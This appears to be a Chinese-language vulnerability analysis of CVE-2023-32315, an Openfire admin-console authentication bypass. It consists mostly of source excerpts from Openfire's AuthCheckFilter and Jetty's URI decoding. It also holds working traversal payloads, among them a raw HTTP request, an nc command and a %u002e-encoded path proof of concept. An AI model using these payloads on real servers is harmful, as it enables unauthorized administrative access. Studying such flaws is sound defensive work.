CVE-2023-32315 Openfire管理控制台认证绕过漏洞分析

<filter>  <filter-name>AuthCheck</filter-name>  <filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>  <init-param>    <param-name>excludes</param-name>    <param-value>      login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp    </param-value>  </init-param></filter>

public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {    HttpServletRequest request = (HttpServletRequest) req;    HttpServletResponse response = (HttpServletResponse) res;    // Do not allow framing; OF-997    response.setHeader("X-Frame-Options", JiveGlobals.getProperty("adminConsole.frame-options", "SAMEORIGIN"));    // Reset the defaultLoginPage variable    String loginPage = defaultLoginPage;    if (loginPage == null) {        loginPage = request.getContextPath() + (AuthFactory.isOneTimeAccessTokenEnabled() ? "/loginToken.jsp" : "/login.jsp");    }    // Get the page we're on:    String url = request.getRequestURI().substring(1);    if (url.startsWith("plugins/")) {        url = url.substring("plugins/".length());    }    // See if it's contained in the exclude list. If so, skip filter execution    boolean doExclude = false;    for (String exclude: excludes) {        if (testURLPassesExclude(url, exclude)) {            doExclude = true;            break;        }    }    if (!doExclude) {        WebManager manager = new WebManager();        manager.init(request, response, request.getSession(), context);        boolean haveOneTimeToken = manager.getAuthToken() instanceof AuthToken.OneTimeAuthToken;        User loggedUser = manager.getUser();        boolean loggedAdmin = loggedUser == null ? false : adminManager.isUserAdmin(loggedUser.getUsername(), true);        if (!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {            response.sendRedirect(getRedirectURL(request, loginPage, null));            return;        }    }    chain.doFilter(req, res);}

// See if it's contained in the exclude list. If so, skip filter executionboolean doExclude = false;for (String exclude: excludes) {  if (testURLPassesExclude(url, exclude)) {    doExclude = true;    break;  }}if (!doExclude) {  WebManager manager = new WebManager();  manager.init(request, response, request.getSession(), context);  boolean haveOneTimeToken = manager.getAuthToken() instanceof AuthToken.OneTimeAuthToken;  User loggedUser = manager.getUser();  boolean loggedAdmin = loggedUser == null ? false : adminManager.isUserAdmin(loggedUser.getUsername(), true);  if (!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {    response.sendRedirect(getRedirectURL(request, loginPage, null));    return;  }}chain.doFilter(req, res);

GET /setup/setup-/../../log.jsp HTTP/1.1

echo "GET /setup/setup-/%2E%2E/%2E%2E/log.jsp?log=info&mode=asc&lines=All" | nc localhost 9090

// v3.6.2// src/java/org/jivesoftware/admin/AuthCheckFilter.java
public static boolean testURLPassesExclude(String url, String exclude) {    // ...    if (exclude.endsWith("*")) {        if (url.startsWith(exclude.substring(0, exclude.length() - 1))) {            // Now make sure that there are no ".." characters in the rest of the URL.            if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {                return true;            }        }    }    // ...    return false;}

public static boolean testURLPassesExclude(String url, String exclude) {    // ...    // in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"    // character then the URL is allowed if it exactly matches everything before the * and there are no ".."    // characters after the "*". All data in the URL before
    if (exclude.endsWith("*")) {        if (url.startsWith(exclude.substring(0, exclude.length() - 1))) {            // Now make sure that there are no ".." characters in the rest of the URL.            if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {                return true;            }        }    }    // ...    return false;}

else if (_path != null){  // The RFC requires this to be canonical before decoding, but this can leave dot segments and dot dot segments  // which are not canonicalized and could be used in an attempt to bypass security checks.  String decodedNonCanonical = URIUtil.decodePath(_path);  _decodedPath = URIUtil.canonicalPath(decodedNonCanonical);  if (_decodedPath == null)    throw new IllegalArgumentException("Bad URI");}

public static String decodePath(String path, int offset, int length) {    try {        Utf8StringBuilder builder = null;        int end = offset + length;        for (int i = offset; i < end; i++) {            char c = path.charAt(i);            switch (c) {                case '%':                    if (builder == null) {                        builder = new Utf8StringBuilder(path.length());                        builder.append(path, offset, i - offset);                    }                    if ((i + 2) < end) {                        char u = path.charAt(i + 1);                        if (u == 'u') {                            // In Jetty-10 UTF16 encoding is only supported with UriCompliance.Violation.UTF16_ENCODINGS.                            // This is wrong. This is a codepoint not a char                            builder.append((char)(0xffff & TypeUtil.parseInt(path, i + 2, 4, 16)));                            i += 5;                        } else {                            builder.append((byte)(0xff & (TypeUtil.convertHexDigit(u) * 16 + TypeUtil.convertHexDigit(path.charAt(i + 2)))));                            i += 2;                        }                    } else {                        throw new IllegalArgumentException("Bad URI % encoding");                    }
                    break;                                // ...
                default:                    if (builder != null)                        builder.append(c);                    break;            }        }
        if (builder != null)            return builder.toString();        if (offset == 0 && length == path.length())            return path;        return path.substring(offset, end);    } catch (NotUtf8Exception e) {        LOG.debug(path.substring(offset, offset + length) + " " + e);        return decodeISO88591Path(path, offset, length);    } catch (IllegalArgumentException e) {        throw e;    } catch (Exception e) {        throw new IllegalArgumentException("cannot decode URI", e);    }}

if (u == 'u') {       builder.append((char)(0xffff & parseInt(path, i + 2, 4, 16)));       i += 5;   }

public static int parseInt(String s, int offset, int length, int base) throws NumberFormatException {       int value = 0;            if (length < 0)         length = s.length() - offset;            for (int i = 0; i < length; i++) {         char c = s.charAt(offset + i);              int digit = convertHexDigit((int) c);         if (digit < 0 || digit >= base)           throw new NumberFormatException(s.substring(offset, offset + length));         value = value * base + digit;       }       return value;     }

<dependencies><!-- https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-util -->    <dependency>        <groupId>org.eclipse.jetty</groupId>        <artifactId>jetty-util</artifactId>        <version>9.4.43.v20210629</version>    </dependency></dependencies>

package org.jetty;
import org.eclipse.jetty.util.URIUtil;
class Main {    public static void main(String[] args) {        String path = "/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp";
        String decodedNonCanonical = URIUtil.decodePath(path);        System.out.println("decodedNonCanonical: " + decodedNonCanonical);        String decodedPath = URIUtil.canonicalPath(decodedNonCanonical);        if (decodedPath == null)            throw new IllegalArgumentException("Bad URI");        System.out.println("decodedPath: " + decodedPath);    }}